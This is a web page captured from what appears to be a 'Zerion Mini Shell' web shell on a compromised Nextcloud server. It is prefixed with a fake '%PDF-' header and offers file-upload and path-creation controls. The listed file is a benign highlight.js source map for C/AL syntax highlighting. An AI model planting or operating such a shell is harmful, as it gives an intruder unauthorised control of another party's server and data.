%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/apps_old/apps/text/js/
Upload File :
Create Path :
Current File : //www/varak.net/nextcloud.varak.net/apps_old/apps/text/js/cal-Cls0acTe.chunk.mjs.map

{"version":3,"file":"cal-Cls0acTe.chunk.mjs","sources":["../node_modules/highlight.js/lib/languages/cal.js"],"sourcesContent":["/*\nLanguage: C/AL\nAuthor: Kenneth Fuglsang Christensen <kfuglsang@gmail.com>\nDescription: Provides highlighting of Microsoft Dynamics NAV C/AL code files\nWebsite: https://docs.microsoft.com/en-us/dynamics-nav/programming-in-c-al\nCategory: enterprise\n*/\n\n/** @type LanguageFn */\nfunction cal(hljs) {\n  const regex = hljs.regex;\n  const KEYWORDS = [\n    \"div\",\n    \"mod\",\n    \"in\",\n    \"and\",\n    \"or\",\n    \"not\",\n    \"xor\",\n    \"asserterror\",\n    \"begin\",\n    \"case\",\n    \"do\",\n    \"downto\",\n    \"else\",\n    \"end\",\n    \"exit\",\n    \"for\",\n    \"local\",\n    \"if\",\n    \"of\",\n    \"repeat\",\n    \"then\",\n    \"to\",\n    \"until\",\n    \"while\",\n    \"with\",\n    \"var\"\n  ];\n  const LITERALS = 'false true';\n  const COMMENT_MODES = [\n    hljs.C_LINE_COMMENT_MODE,\n    hljs.COMMENT(\n      /\\{/,\n      /\\}/,\n      { relevance: 0 }\n    ),\n    hljs.COMMENT(\n      /\\(\\*/,\n      /\\*\\)/,\n      { relevance: 10 }\n    )\n  ];\n  const STRING = {\n    className: 'string',\n    begin: /'/,\n    end: /'/,\n    contains: [ { begin: /''/ } ]\n  };\n  const CHAR_STRING = {\n    className: 'string',\n    begin: /(#\\d+)+/\n  };\n  const DATE = {\n    className: 'number',\n    begin: '\\\\b\\\\d+(\\\\.\\\\d+)?(DT|D|T)',\n    relevance: 0\n  };\n  const DBL_QUOTED_VARIABLE = {\n    className: 'string', // not a string technically but makes sense to be highlighted in the same style\n    begin: '\"',\n    end: '\"'\n  };\n\n  const PROCEDURE = {\n    match: [\n      /procedure/,\n      /\\s+/,\n      /[a-zA-Z_][\\w@]*/,\n      /\\s*/\n    ],\n    scope: {\n      1: \"keyword\",\n      3: \"title.function\"\n    },\n    contains: [\n      {\n        className: 'params',\n        begin: /\\(/,\n        end: /\\)/,\n        keywords: KEYWORDS,\n        contains: [\n          STRING,\n          CHAR_STRING,\n          hljs.NUMBER_MODE\n        ]\n      },\n      ...COMMENT_MODES\n    ]\n  };\n\n  const OBJECT_TYPES = [\n    \"Table\",\n    \"Form\",\n    \"Report\",\n    \"Dataport\",\n    \"Codeunit\",\n    \"XMLport\",\n    \"MenuSuite\",\n    \"Page\",\n    \"Query\"\n  ];\n  const OBJECT = {\n    match: [\n      /OBJECT/,\n      /\\s+/,\n      regex.either(...OBJECT_TYPES),\n      /\\s+/,\n      /\\d+/,\n      /\\s+(?=[^\\s])/,\n      /.*/,\n      /$/\n    ],\n    relevance: 3,\n    scope: {\n      1: \"keyword\",\n      3: \"type\",\n      5: \"number\",\n      7: \"title\"\n    }\n  };\n\n  const PROPERTY = {\n    match: /[\\w]+(?=\\=)/,\n    scope: \"attribute\",\n    relevance: 0\n  };\n\n  return {\n    name: 'C/AL',\n    case_insensitive: true,\n    keywords: {\n      keyword: KEYWORDS,\n      literal: LITERALS\n    },\n    illegal: /\\/\\*/,\n    contains: [\n      PROPERTY,\n      STRING,\n      CHAR_STRING,\n      DATE,\n      DBL_QUOTED_VARIABLE,\n      hljs.NUMBER_MODE,\n      OBJECT,\n      PROCEDURE\n    ]\n  };\n}\n\nmodule.exports = cal;\n"],"names":["cal","hljs","regex","KEYWORDS","LITERALS","COMMENT_MODES","STRING","CHAR_STRING","DATE","DBL_QUOTED_VARIABLE","PROCEDURE","OBJECT_TYPES","OBJECT","cal_1"],"mappings":";4YASA,SAASA,EAAIC,EAAM,CACjB,MAAMC,EAAQD,EAAK,MACbE,EAAW,CACf,MACA,MACA,KACA,MACA,KACA,MACA,MACA,cACA,QACA,OACA,KACA,SACA,OACA,MACA,OACA,MACA,QACA,KACA,KACA,SACA,OACA,KACA,QACA,QACA,OACA,KACJ,EACQC,EAAW,aACXC,EAAgB,CACpBJ,EAAK,oBACLA,EAAK,QACH,KACA,KACA,CAAE,UAAW,CAAG,CACjB,EACDA,EAAK,QACH,OACA,OACA,CAAE,UAAW,EAAI,CAClB,CACL,EACQK,EAAS,CACb,UAAW,SACX,MAAO,IACP,IAAK,IACL,SAAU,CAAE,CAAE,MAAO,KAAQ,CACjC,EACQC,EAAc,CAClB,UAAW,SACX,MAAO,SACX,EACQC,EAAO,CACX,UAAW,SACX,MAAO,4BACP,UAAW,CACf,EACQC,EAAsB,CAC1B,UAAW,SACX,MAAO,IACP,IAAK,GACT,EAEQC,EAAY,CAChB,MAAO,CACL,YACA,MACA,kBACA,KACD,EACD,MAAO,CACL,EAAG,UACH,EAAG,gBACJ,EACD,SAAU,CACR,CACE,UAAW,SACX,MAAO,KACP,IAAK,KACL,SAAUP,EACV,SAAU,CACRG,EACAC,EACAN,EAAK,WACN,CACF,EACD,GAAGI,CACJ,CACL,EAEQM,EAAe,CACnB,QACA,OACA,SACA,WACA,WACA,UACA,YACA,OACA,OACJ,EACQC,EAAS,CACb,MAAO,CACL,SACA,MACAV,EAAM,OAAO,GAAGS,CAAY,EAC5B,MACA,MACA,eACA,KACA,GACD,EACD,UAAW,EACX,MAAO,CACL,EAAG,UACH,EAAG,OACH,EAAG,SACH,EAAG,OACJ,CACL,EAQE,MAAO,CACL,KAAM,OACN,iBAAkB,GAClB,SAAU,CACR,QAASR,EACT,QAASC,CACV,EACD,QAAS,OACT,SAAU,CAdK,CACf,MAAO,cACP,MAAO,YACP,UAAW,CACf,EAYME,EACAC,EACAC,EACAC,EACAR,EAAK,YACLW,EACAF,CACD,CACL,CACA,CAEA,IAAAG,EAAiBb","x_google_ignoreList":[0]}

Zerion Mini Shell 1.0